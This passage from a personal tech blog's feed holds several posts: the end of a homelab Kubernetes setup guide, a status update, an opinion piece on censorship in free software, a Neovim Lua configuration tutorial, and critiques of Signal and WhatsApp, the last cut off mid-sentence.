 server 192.168.4.150:443;
 }

 upstream ingress80 {
 server 192.168.4.150:80;
 }

 server {
 listen 443;
 proxy_pass ingress443;
 proxy_next_upstream on;
 }
 server {
 listen 80;
 proxy_pass ingress80;
 proxy_next_upstream on;
 }
}
</code></pre>

<p>DNS can now be configured to point to this node&rsquo;s actual public IP, and
Nginx will forward traffic back to our load balancer.</p>

<h3 id="nginx-ingress-controller">Nginx Ingress Controller</h3>

<p>Once MeltalLB is setup, <code>ingress-nginx</code> can be deployed. Nothing of note
here; follow their <a href="https://kubernetes.github.io/ingress-nginx/deploy/" rel="nofollow">docs</a>.
Each ingress you define will be exposed on the same <code>LoadBalancer</code> IP.</p>

<h3 id="longhorn">Longhorn</h3>

<p>Storage on bare metal is always a pain in the wrong place. Longhorn is
pretty refreshing, as it literally just works. Point it to your block
volumes, setup a <code>StorageClass</code>, and just like that&mdash;automagic PV/C
provisioning. Adding block volumes can be done via the UI, accessed by
portforwarding the service:</p>

<pre><code>kubectl portforward service/longhorn-frontend -n longhorn-system 8080:80
</code></pre>

<p>There&rsquo;s just one catch&mdash;at least, in my case. They don&rsquo;t have armhf
images, so all their resources need:</p>

<pre><code class="language-yaml">nodeSelector: kubernetes.io/arch=amd64
</code></pre>

<p>Consequently, all pods using a PVC can only run on non-armhf nodes. This
is a bummer, but I plan to switch the RPi over to a 64-bit OS
eventually. This cluster only just got stable-ish&mdash;I&rsquo;m not about to
yank the control plane now.</p>

<h3 id="cert-manager">cert-manager</h3>

<p>Automatic certificate provisioning. Nothing fancy here. Follow their
<a href="https://cert-manager.io/docs/installation/kubernetes/" rel="nofollow">docs</a>.</p>

<h2 id="application-workloads">application workloads</h2>

<p>We did <em>all</em> of that, for these special snowflakes. I&rsquo;m currently
running:</p>

<ul>
<li><a href="https://radicale.org" rel="nofollow">radicale</a>: CalDAV/CarDAV server</li>
<li><a href="https://github.com/distribution/distribution" rel="nofollow">registry</a>: Container
registry</li>
<li><a href="https://github.com/nkanaev/yarr" rel="nofollow">yarr</a>: RSS reader</li>
<li><a href="https://github.com/icyphox/fsrv" rel="nofollow">fsrv</a>: File host service</li>
<li><a href="https://znc.in" rel="nofollow">znc</a>: IRC bouncer</li>
</ul>

<p>I&rsquo;m in the process of moving <a href="https://pleroma.social" rel="nofollow">Pleroma</a> and
<a href="https://github.com/epoupon/lms/" rel="nofollow">lms</a> to the cluster. I&rsquo;m still
figuring out cgit.</p>

<h2 id="closing-notes">closing notes</h2>

<p>That was a lot! While it&rsquo;s fun, it certainly feels like a house of
cards, especially given that I&rsquo;m running this on very low resource
machines. There&rsquo;s about 500 MB of RAM free on the Oracle boxes, and about
2.5 GB on the Pi.</p>

<p>All things said, it&rsquo;s not terribly hard to run a multi-arch cluster,
especially if you&rsquo;re running arm64 + amd64. Most common tools have
multi-arch images now. It&rsquo;s just somewhat annoying in my case&mdash;pods
using using a PVC can&rsquo;t run on my Pi.</p>

<p>Note that I glossed over a bunch of issues that I faced: broken cluster
DNS, broken pod networking, figuring out how to expose the load
balancer, etc. Countless hours (after the 4 days off) had to be spent
solving these. If I had a penny for every time I ran <code>kubeadm reset</code>,
I&rsquo;d be Elon Musk.</p>

<p>Whether this cluster is sustainable or not, is to be seen. However, it
is quite nice to have your entire infrastructure configured in a single
place: <a href="https://github.com/icyphox/infra" rel="nofollow">https://github.com/icyphox/infra</a></p>

<pre><code>~/code/infra
▲ k get nodes
NAME STATUS ROLES AGE VERSION
fern Ready control-plane,master 7d11h v1.21.1
jade Ready &lt;none&gt; 7d11h v1.21.1
leaf Ready &lt;none&gt; 7d11h v1.21.1
</code></pre>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">No, this is not an advertisement. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2">I hate systemd with such passion. <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><a href="https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2" rel="nofollow">https://toot.icyphox.sh/notice/A8NOeVqMBsgu5DWLZ2</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Status update</title>
|
||
<updated>2021-05-10T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-05-10:blog/2021-05-10</id>
|
||
<link href="https://icyphox.sh/blog/2021-05-10"></link>
|
||
<summary type="html"><h2>A review of Q1 2021</h2>
<p>I realize I haven&rsquo;t done one of these in a while, a few &hellip;
status-update-worthy things have piled up. Bangalore is currently in a
lockdown after ranking in the top 3 worst COVID-hit cities, in India. As
such, I&rsquo;m sitting at home, in my home-office thing which now has an
extra monitor, writing this. We&rsquo;ve got a lot to talk about&mdash;let&rsquo;s get
to it!</p>

<h2 id="working-at-deepsource">working at DeepSource</h2>

<p>Starting January of this year, I&rsquo;ve been working as a Site Reliability
Engineer at <a href="https://deepsource.io" rel="nofollow">DeepSource</a>. As a Kubernetes shop,
nearly all of my day to day work involves working with Kubernetes. I
didn&rsquo;t think I&rsquo;d say this, but I actually quite like using K8s now. The
more I understand it, the more I find myself appreciating the need for
it. Of course, I wasn&rsquo;t around for the initial setup of everything&mdash;I&rsquo;m merely enjoying using an already stable cluster environment.</p>

<p>So far, I&rsquo;ve set up an event-driven observability pipeline (pictured
below), some infosec work and the usual SRE stuff. I&rsquo;ll probably write
about the observability infrastructure in detail sometime&mdash;perhaps on
the company blog.</p>

<p><img src="https://cdn.icyphox.sh/vgPL9.png" alt="deepsource observability infra" /></p>

<p>I even managed to break prod within the first month! But in all
seriousness, it&rsquo;s pretty riveting work, with some very fun people.</p>

<h2 id="projects">projects</h2>

<p>There haven&rsquo;t been too many, I must be honest. I did briefly consider
the idea of building a small SaaS&mdash;a simple email-based bookmarking
service. Send a bunch of links you want to bookmark to an email address,
and get back the entire webpage as a thread of emails.</p>

<p>I got as far as writing the backend for it, at
<a href="https://git.icyphox.sh/forlater/donkey" rel="nofollow">forlater/donkey</a>&mdash;a simple
Flask app that pulls web pages and sends an email, on a webhook. And a
helper tool <a href="https://git.icyphox.sh/forlater/mdawh" rel="nofollow">forlater/mdawh</a> in
Go that takes mail in STDIN and sends a webhook to an endpoint. I used
OpenSMTPD to call <code>mdawh</code> when mail arrived. Overall, a pretty simple
system. Except, HTML email sucks. And the modern web sucks. I quickly
got bored of it&mdash;dealing with websites not getting rendered correctly,
email delivery being pretty shit overall and the fact that nobody would
actually use something like this, let alone pay for it. Of course, I
could be wrong and someone looking for a service like this could be out
there&mdash;and if they&rsquo;re reading this, please <a href="mailto:x@icyphox.sh" rel="nofollow">email
me</a>!</p>

<p>That said, I&rsquo;m open to revisiting this project sometime. Perhaps with a
different use-case, even.</p>

<h2 id="reading">reading</h2>

<p>In 2020, I began getting into the
<a href="https://coppermind.net/wiki/Cosmere" rel="nofollow">Cosmere</a>. I&rsquo;ve read nearly all the
books in it, save for the <em>Mistborn</em> series, which I&rsquo;m reading at
present. Still in Era 1, having finished <em>The Final Empire</em> and <em>The
Well of Ascension</em>. I&rsquo;m taking a break before I dive into <em>The Hero of
Ages</em>.</p>

<p>Aside from high fantasy reading, I&rsquo;ve begun spending some time reading
the essays at <a href="https://slatestarcodex.com" rel="nofollow">Slate Star Codex</a>&mdash;more
specifically, the selected few at
<a href="https://www.slatestarcodexabridged.com" rel="nofollow">https://www.slatestarcodexabridged.com</a>.</p>

<h2 id="learning-russian">learning Russian</h2>

<p>I&rsquo;d begun learning Russian sometime last year, but stopped studying it
for about 6 months or so. Recently, I decided to pick it up again after
coming across this video by Johnny Harris on <a href="https://www.youtube.com/watch?v=3i1lNJPY-4Q" rel="nofollow">how he learnt
Italian</a>. In essence, he
talks about why the textbook method of learning a language, i.e., the
grammar: conjugations, rules, exceptions, etc. is ineffective. Instead,
he suggests starting with learning the 1000 most frequently used words
in that language which helps build an intuition for the language.</p>

<p>I&rsquo;ve found two decks from the <a href="https://ankiweb.net/shared/decks/" rel="nofollow">publicly shared
decks</a> to be really good:
<a href="https://ankiweb.net/shared/info/1545956138" rel="nofollow">1000 frequently used words</a>,
<a href="https://ankiweb.net/shared/info/549290451" rel="nofollow">7000 sentences in order of
difficulty</a>. This lets me 1)
learn the basics (vocabulary, sentence construction) and start applying
them in making my own sentences and learning the grammar intuitively,
instead of memorizing rules and conjugations.</p>

<h2 id="fitness">fitness</h2>

<p>For a good portion of last year, I was unable to get any physical
exercise done&mdash;gyms were closed, running downstairs just wasn&rsquo;t fun.
Early this year, before wave 2 of the virus, the gyms here opened for a
brief bit and I managed to get some swole on. They&rsquo;re closed again, now
but I&rsquo;ve taken to running about 3 - 4 km everyday. It&rsquo;s still quite
boring compared to lifting, but it needs to be done.</p>

<h2 id="that-s-it">that&rsquo;s it</h2>

<p>I&rsquo;ve hit a writer&rsquo;s block, so to speak, with this blog. I have a few
ideas for future posts, but they require actual research (read: I can&rsquo;t
just pull up Vim and type away), so they will remain as ideas for now.
If you have some ideas for things I can write about, please shoot them
my way.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Free software should not censor</title>
|
||
<updated>2021-04-07T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-04-07:blog/free-sw-censor</id>
|
||
<link href="https://icyphox.sh/blog/free-sw-censor"></link>
|
||
<summary type="html"><h2>If you write free software, don't deny freedom zero</h2>
<p>Any software is free, if it grants the users the four essential
freedoms:</p>

<ul>
<li><strong>freedom 0</strong>: The freedom to run the program as you wish, for any
purpose.</li>
<li><strong>freedom 1</strong>: The freedom to study how the program works, and change
it so it does your computing as you wish</li>
<li><strong>freedom 2</strong>: The freedom to redistribute copies so you can help
others.</li>
<li><strong>freedom 3</strong>: The freedom to distribute copies of your modified
versions to others.</li>
</ul>

<p>Denying any one of these freedoms makes your software nonfree. As it
happens, some free software project maintainers think it&rsquo;s OK to impose
their political / ideological stances on who can use their software, and
for what purpose it can be used. They are violating the zeroth freedom
to advance their political agendas. Here are a couple of examples.</p>

<h2 id="case-one-tusky">case one: Tusky</h2>

<p>Tusky is a free software (GPL 3.0) Android client for the fediverse&mdash;thematically, Mastodon. They <a href="https://github.com/tuskyapp/Tusky/pull/1303" rel="nofollow">Rick Roll users who try to connect to
instances</a> they disagree
with. You don&rsquo;t get to decide for your users! And the irony here is its
a client for a supposedly censorship-resistant network. This is in
violation of freedom zero.</p>

<p>Funnily enough, Tusky recently got <a href="https://chaos.social/@ConnyDuck/105904002285019275" rel="nofollow">removed from the Play
Store</a> for serving
&ldquo;objectionable content&rdquo;.</p>

<blockquote>
<p>They don&rsquo;t seem to understand that one can view any content with Tusky
and that it is not possible for the app developers to check any of it.
-- <a href="https://chaos.social/@ConnyDuck/105904015276457450" rel="nofollow">https://chaos.social/@ConnyDuck/105904015276457450</a></p>
</blockquote>

<p>A blatant lie! Doesn&rsquo;t feel good when someone else decides things for
you, now, does it?</p>

<h2 id="case-two-lemmy">case two: Lemmy</h2>

<p>Also a fediverse application&mdash;a federated Reddit clone (AGPL 3.0).
They have a <a href="https://github.com/LemmyNet/lemmy/issues/622" rel="nofollow">hardcoded slur
filter</a> that they refuse
to remove, or at the very least, make configurable. This is just plain
bad engineering for the sake of politics.</p>

<p>Both of these software are released under free software licenses, and
are clearly nonfree. Stop doing this&mdash;it benefits nobody. You probably
feel like you&rsquo;re &ldquo;making a change&rdquo;, but guess what: you&rsquo;re not. It is
mere virtue signalling. Don&rsquo;t enforce your political agendas on your
users.</p>

<p>Censorship is bad for everyone, and it usually never ends well. There
is no &ldquo;correct&rdquo; way to censor&mdash;so don&rsquo;t even try! If you don&rsquo;t want
your software to be &ldquo;misused&rdquo;, release it under a license that is
capable of enforcing that.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1">Protip: you can&rsquo;t. Ethical source licenses exist, but they&rsquo;re practically dead in the water. <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Configuring Neovim using Lua</title>
|
||
<updated>2021-02-07T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-02-07:blog/nvim-lua</id>
|
||
<link href="https://icyphox.sh/blog/nvim-lua"></link>
|
||
<summary type="html"><h2>And switching from init.vim to init.lua</h2>
<p>If you, like me, never really understood Vimscript and hate the language
with a passion, you&rsquo;re in the right place! You can now get rid of
Vimscript wholesale and replace it with a simpler, faster and elegant-er
language&mdash;Lua! <em>However</em>, this is only possible from Neovim 0.5
onwards<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> and as of now, requires you to install Neovim from HEAD. How
to do that is left as an exercise to the reader. Also bear in mind that
the Lua API is fairly beta right now, and many Vim things don&rsquo;t have
direct interfaces.</p>

<p>So assuming you&rsquo;re now running Neovim <code>master</code>, head over to
<code>~/.config/nvim</code> and create your <code>init.lua</code>. Why, yes, we&rsquo;re porting
over your <code>init.vim</code> to <code>init.lua</code> right now! Clear your calendar for
the next few hours&mdash;bikeshedding your text editor is top priority!</p>

<p>I also recommend going through
<a href="https://github.com/nanotee/nvim-lua-guide" rel="nofollow">nanotee/nvim-lua-guide</a>
and <a href="https://learnxinyminutes.com/docs/lua/" rel="nofollow">Learn Lua in Y minutes</a>
before starting off.</p>

<h2 id="the-directory-structure">the directory structure</h2>

<p>Lua files are typically under <code>~/.config/nvim/lua</code>, and can be loaded as
Lua modules. This is incredibly powerful&mdash;you can structure your
configs however you like.</p>

<pre><code class="language-console">$ tree .config/nvim
.
|-- ftplugin
| `-- ...
|-- init.lua
|-- lua
| |-- maps.lua
| |-- settings.lua
| |-- statusline.lua
| `-- utils.lua
`-- plugin
 `-- ...
</code></pre>

<p>The common approach is to have different
bits of your config in Lua files under <code>lua/</code> and <code>require</code>&rsquo;d in your
<code>init.lua</code>, so something like:</p>

<pre><code class="language-lua">-- init.lua

require('settings') -- lua/settings.lua
require('maps') -- lua/maps.lua
require('statusline') -- lua/statusline.lua
</code></pre>

<h2 id="the-basics-setting-options">the basics: setting options</h2>

<p>Vim has 3 kinds of options&mdash;global, buffer-local and window-local. In
Vimscript, you&rsquo;d just <code>set</code> these. In Lua, however, you will have to
use one of</p>

<ul>
<li><code>vim.api.nvim_set_option()</code>&mdash;global options</li>
<li><code>vim.api.nvim_buf_set_option()</code>&mdash;buffer-local options</li>
<li><code>vim.api.nvim_win_set_option()</code>&mdash;window-local options</li>
</ul>

<p>These are fairly verbose and very clunky, but fortunately for us, we
have &ldquo;meta-accesors&rdquo; for these: <code>vim.{o,wo,bo}</code>. Here&rsquo;s an excerpt from
my <code>settings.lua</code> as an example:</p>

<pre><code class="language-lua">local o = vim.o
local wo = vim.wo
local bo = vim.bo

-- global options
o.swapfile = true
o.dir = '/tmp'
o.smartcase = true
o.laststatus = 2
o.hlsearch = true
o.incsearch = true
o.ignorecase = true
o.scrolloff = 12
-- ... snip ... 

-- window-local options
wo.number = false
wo.wrap = false

-- buffer-local options
bo.expandtab = true
</code></pre>

<p>If you&rsquo;re not sure if an option is global, buffer or window-local,
consult the Vim help! For example, <code>:h 'number'</code>:</p>

<pre><code>'number' 'nu' boolean (default off)
 local to window
</code></pre>

<p>Also note that you don&rsquo;t set the negation of an option to true, like
<code>wo.nonumber = true</code>, you instead set <code>wo.number = false</code>.</p>

<h2 id="defining-autocommands">defining autocommands</h2>

<p>Unfortunately, autocommands in Vim don&rsquo;t have a Lua interface&mdash;it is
being worked on.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> Until then, you will have to use
<code>vim.api.nvim_command()</code>, or the shorter <code>vim.cmd()</code>. I&rsquo;ve defined a
simple function that takes a Lua table of <code>autocmd</code>s as an argument, and
creates an <code>augroup</code> for you.</p>

<pre><code class="language-lua">-- utils.lua

local M = {}
local cmd = vim.cmd

function M.create_augroup(autocmds, name)
 cmd('augroup ' .. name)
 cmd('autocmd!')
 for _, autocmd in ipairs(autocmds) do
 cmd('autocmd ' .. table.concat(autocmd, ' '))
 end
 cmd('augroup END')
end

return M

-- settings.lua
local cmd = vim.cmd
local u = require('utils')

u.create_augroup({
 { 'BufRead,BufNewFile', '/tmp/nail-*', 'setlocal', 'ft=mail' },
 { 'BufRead,BufNewFile', '*s-nail-*', 'setlocal', 'ft=mail' },
}, 'ftmail')

cmd('au BufNewFile,BufRead * if &amp;ft == &quot;&quot; | set ft=text | endif')
</code></pre>

<h2 id="defining-keymaps">defining keymaps</h2>

<p>Keymaps can be set via <code>vim.api.nvim_set_keymap()</code>. It takes 4
arguments: the mode for which the mapping will take effect, the key
sequence, the command to execute and a table of options (<code>:h
:map-arguments</code>).</p>

<pre><code class="language-lua">-- maps.lua

local map = vim.api.nvim_set_keymap

-- map the leader key
map('n', '&lt;Space&gt;', '', {})
vim.g.mapleader = ' ' -- 'vim.g' sets global variables


options = { noremap = true }
map('n', '&lt;leader&gt;&lt;esc&gt;', ':nohlsearch&lt;cr&gt;', options)
map('n', '&lt;leader&gt;n', ':bnext&lt;cr&gt;', options)
map('n', '&lt;leader&gt;p', ':bprev&lt;cr&gt;', options)
</code></pre>

<p>For user defined commands, you&rsquo;re going to have to go the <code>vim.cmd</code>
route:</p>

<pre><code class="language-lua">local cmd = vim.cmd

cmd(':command! WQ wq')
cmd(':command! WQ wq')
cmd(':command! Wq wq')
cmd(':command! Wqa wqa')
cmd(':command! W w')
cmd(':command! Q q')
</code></pre>

<h2 id="managing-packages">managing packages</h2>

<p>Naturally, you can&rsquo;t use your favourite Vimscript package manager
anymore, or at least, not without <code>vim.api.nvim_exec</code>ing a bunch of
Vimscript (ew!). Thankfully, there are a few pure-Lua plugin managers
available to use<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>&mdash;I personally use, and recommend
<a href="https://github.com/savq/paq-nvim/" rel="nofollow">paq</a>. It&rsquo;s light and makes use of
the <a href="https://docs.libuv.org/en/v1.x/" rel="nofollow"><code>vim.loop</code></a> API for async I/O.
paq&rsquo;s docs are plentiful, so I&rsquo;ll skip talking about how to set it up.</p>

<h2 id="bonus-writing-your-own-statusline">bonus: writing your own statusline</h2>

<p>Imagine using a bloated, third-party statusline, when you can just write
your own.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> It&rsquo;s actually quite simple! Start by defining a table for
every mode:</p>

<pre><code class="language-lua">-- statusline.lua

 local mode_map = {
	['n'] = 'normal ',
	['no'] = 'n·operator pending ',
	['v'] = 'visual ',
	['V'] = 'v·line ',
	['<EFBFBD>'] = 'v·block ',
	['s'] = 'select ',
	['S'] = 's·line ',
	['<EFBFBD>'] = 's·block ',
	['i'] = 'insert ',
	['R'] = 'replace ',
	['Rv'] = 'v·replace ',
	['c'] = 'command ',
	['cv'] = 'vim ex ',
	['ce'] = 'ex ',
	['r'] = 'prompt ',
	['rm'] = 'more ',
	['r?'] = 'confirm ',
	['!'] = 'shell ',
	['t'] = 'terminal '
}
</code></pre>

<p>The idea is to get the current mode from <code>vim.api.nvim_get_mode()</code> and
map it to our desired text. Let&rsquo;s wrap that around in a small <code>mode()</code>
function:</p>

<pre><code class="language-lua">-- statusline.lua

local function mode()
	local m = vim.api.nvim_get_mode().mode
	if mode_map[m] == nil then return m end
	return mode_map[m]
end
</code></pre>

<p>Now, set up your highlights. Again, there isn&rsquo;t any interface for
highlights yet, so whip out that <code>vim.api.nvim_exec()</code>.</p>

<pre><code class="language-lua">-- statusline.lua

vim.api.nvim_exec(
[[
 hi PrimaryBlock ctermfg=06 ctermbg=00
 hi SecondaryBlock ctermfg=08 ctermbg=00
 hi Blanks ctermfg=07 ctermbg=00
]], false)
</code></pre>

<p>Create a new table to represent the entire statusline itself. You can
add any other functions you want (like one that returns the current git
branch, for instance). Read <code>:h 'statusline'</code> if you don&rsquo;t understand
what&rsquo;s going on here.</p>

<pre><code class="language-lua">-- statusline.lua

local stl = {
 '%#PrimaryBlock#',
 mode(),
 '%#SecondaryBlock#',
 '%#Blanks#',
 '%f',
 '%m',
 '%=',
 '%#SecondaryBlock#',
 '%l,%c ',
 '%#PrimaryBlock#',
 '%{&amp;filetype}',
}
</code></pre>

<p>Finally, with the power of <code>table.concat()</code>, set your statusline. This
is akin to doing a series of string concatenations, but way faster.</p>

<pre><code class="language-lua">-- statusline.lua

vim.o.statusline = table.concat(stl)
</code></pre>

<p><img src="https://cdn.icyphox.sh/statusline.png" alt="statusline" /></p>

<h2 id="this-is-what-being-tpope-feels-like">this is what being tpope feels like</h2>

<p>You can now write that plugin you always wished for! I sat down to write
a plugin for <a href="https://github.com/jhawthorn/fzy" rel="nofollow">fzy</a><sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup>, which you can
find <a href="https://git.icyphox.sh/dotfiles/tree/config/nvim/lua/fzy" rel="nofollow">here</a>
along with my entire Neovim config<sup class="footnote-ref" id="fnref:6"><a href="#fn:6">6</a></sup>. I plan to port a the last of my
<code>plugin/</code> directory over to Lua, soon™.</p>

<p>And it&rsquo;s only going to get better when the Lua API is completed. We can
all be Vim plugin artists now.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://github.com/neovim/neovim/pull/12235" rel="nofollow">https://github.com/neovim/neovim/pull/12235</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="https://github.com/neovim/neovim/pull/12378" rel="nofollow">https://github.com/neovim/neovim/pull/12378</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3">Also see: <a href="https://github.com/wbthomason/packer.nvim/" rel="nofollow">packer.nvim</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:4">This meme was made by NIH gang. <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:5">A less bloated alternative to fzf, written in C. <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:6"><p><a href="https://github.com/icyphox/dotfiles/tree/master/config/nvim" rel="nofollow">GitHub link</a>&mdash; if you&rsquo;re into that sort of thing.</p> <a class="footnote-return" href="#fnref:6"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>We can do better than Signal</title>
|
||
<updated>2021-01-17T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-01-17:blog/signal</id>
|
||
<link href="https://icyphox.sh/blog/signal"></link>
|
||
<summary type="html"><h2>Centralized silos are never the solution</h2>
<p>Signal is possibly the most recommended pro-privacy instant
communication app&mdash;one that was commonplace in the hacker community,
and has now gained a lot of mainstream traction, thanks to WhatsApp
deciding to screw its userbase over. It certainly presents a more
compelling alternative than others in the same space, like WhatsApp
itself, Telegram, etc. They engineered the <a href="https://en.wikipedia.org/wiki/Signal_Protocol" rel="nofollow">Signal
Protocol</a>, which has
found its way into other messaging systems, and has been the base for
the likes of OMEMO and Matrix.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> While I admire the tech behind
Signal, I still believe we can do better, and we ought to.</p>

<p>I have a few gripes with Signal&mdash;the biggest of them all is it&rsquo;s
centralized, and in the US no less. This alone makes it not that
different from WhatsApp&mdash;we&rsquo;re simply moving from one silo to another.
What&rsquo;s to say that Signal will uphold its values, continue operating
<em>and</em> evade censorship and potential compromise? To top it off, they&rsquo;re
becoming a fairly high value target off late. And if that isn&rsquo;t
convincing enough, Signal&rsquo;s massive outage lasting nearly a day<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup>
should be enough evidence against centralization. Further, Signal is
known to use AWS<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup> as their cloud provider&mdash;what if another
Parler<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> happens and the rug is pulled from under Signal&rsquo;s feet?</p>

<p>A common defense in favor of Signal is, &ldquo;But it&rsquo;s all open source!&rdquo;.
Sure is, but on what basis do I trust them? I don&rsquo;t mean to sound
conspiratorial, but what&rsquo;s to say that the server in production hasn&rsquo;t
been backdoored? In fact, the <a href="https://github.com/signalapp/Signal-Server" rel="nofollow">Signal server
code</a> hasn&rsquo;t even been
updated since April 2020. You&rsquo;re telling me it&rsquo;s undergone <em>no</em> changes?</p>

<p>Another response I usually see is &ldquo;But Signal is all we have!&rdquo;. While
that is somewhat true&mdash;at least by the metric of &ldquo;secure messengers
your granny can use&rdquo;, there are some promising alternatives who are
especially focused on decentralizing E2EE communications.</p>

<ol>
<li><a href="https://matrix.org" rel="nofollow">Matrix</a>: Matrix has improved a whole lot, and I
like that they&rsquo;re working to disprove that end-to-end encryption
cannot be decentralized<sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup>.</li>
<li><a href="https://getsession.org" rel="nofollow">Session</a>: While it involves some cryptoshit,
and hasn&rsquo;t been verified yet, it&rsquo;s an interesting alternative to keep
an eye out for.</li>
</ol>

<p>All things said, Signal is the shiniest turd we have&mdash;it fits most
threat models, and does the job alright; I will continue to use it.
However, here&rsquo;s something to think about: while privacy preserving tech
is commendable, does it have to come at the cost of user freedoms? Hint:
it doesn&rsquo;t, and it shouldn&rsquo;t.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm" rel="nofollow">https://en.wikipedia.org/wiki/Double_Ratchet_Algorithm</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="https://twitter.com/signalapp/status/1350595202872823809" rel="nofollow">https://twitter.com/signalapp/status/1350595202872823809</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><a href="https://signal.org/blog/looking-back-on-the-front/" rel="nofollow">https://signal.org/blog/looking-back-on-the-front/</a> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:4"><a href="https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers" rel="nofollow">https://en.wikipedia.org/wiki/Parler#Shutdown_by_service_providers</a> <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:5"><a href="https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom" rel="nofollow">https://matrix.org/blog/2020/01/02/on-privacy-versus-freedom</a> <a class="footnote-return" href="#fnref:5"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>What's next after WhatsApp?</title>
|
||
<updated>2021-01-08T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2021-01-08:blog/whatsapp</id>
|
||
<link href="https://icyphox.sh/blog/whatsapp"></link>
|
||
<summary type="html"><h2>Let's not act surprised here, this was bound to happen</h2>
<p><strong>Update 2021&ndash;01&ndash;17</strong>: I&rsquo;m now using Signal. It&rsquo;s fine for now, but <a href="/blog/signal">we
can do better</a>.</p>

<p>Ever since Facebook acquired WhatsApp for $19bn, it was blatantly
obvious that they wanted in on the massive userbase, and consequently,
the data they could collect. The acquisition wasn&rsquo;t all too bad at
first, I&rsquo;ll admit&mdash;they added in full E2EE via the Signal Protocol,
their privacy policy wasn&rsquo;t <em>all too bad</em>, at least for a Facebook
product. While I obviously didn&rsquo;t enjoy using it&mdash;being the only
non-free app on my phone&mdash;I could still put up with it, considering
how ubiquitous it is here in India.</p>

<p>That will no longer be the case, however. With the new <a href="https://www.whatsapp.com/legal/privacy-policy" rel="nofollow">privacy
policy</a> introduced by
WhatsApp, the below data will be collected and shared with Facebook and
its associated companies (quoting from the privacy policy):</p>

<blockquote>
<ul>
<li>Account Information. Your phone number, profile name and photo, online
status and status message, last seen status, and receipts may be
available to anyone who uses our Services, although you can configure
your Services settings to manage certain information available to
other users.</li>
<li>Your Contacts and Others. Users with whom you communicate may store or
reshare your information (including your phone number or messages) with
others on and off our Services. You can use your Services settings and
the block feature in our Services to manage the users of our Services
with whom you communicate and certain information you share.</li>
</ul>
</blockquote>

<p>And if you don&rsquo;t consent to these&mdash;i.e., you don&rsquo;t click on &ldquo;Agree&rdquo; on
the pop-up about the new terms, you can no longer use WhatsApp.
Naturally, I didn&rsquo;t.</p>

<p>Now, it&rsquo;s fairly common knowledge that the entirety of India revolves
around WhatsApp. <em>Everything</em> happens over WhatsApp. Invoices, shopping,
general logistics and operations, and in my case&mdash;university
communications. I&rsquo;d even declare WhatsApp as &ldquo;critical infrastructure&rdquo;,
like power and water; without which the country cannot function. That&rsquo;s
a scary thought in itself&mdash;imagine an entire nation relying on
Facebook for something so pivotal.</p>

<p>So what are my options? I can either switch to a new messaging app, or
ditch instant messaging altogether. Let&rsquo;s explore these.</p>

<p>There are some neat potential alternatives to WhatsApp, the most popular
one being Signal. While I think Signal is technically sound, I&rsquo;m
skeptical about using it primarily due to its centralized nature, hosted
in the US. Moxie is openly against federation/decentralization.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p>

<p>And then there&rsquo;s <a href="https://getsession.org" rel="nofollow">Session</a>, a fork of Signal
that aims to be completely decentralized. It uses <a href="https://en.wikipedia.org/wiki/Onion_routing" rel="nofollow">onion
routing</a>, similar to Tor.
It <em>does</em> involve some blockshit, but the actual messaging is all done
over onion routing (they call it &ldquo;onion requests&rdquo;). From about 5 minutes
of usage, I can tell that the app&rsquo;s UI is very nicely done. It does
suffer from severe UX issues though&mdash;you can&rsquo;t add someone from your
address book, rather, you have to paste their Session ID (a long
alphanumeric) to initiate a conversation. In its current state, Session
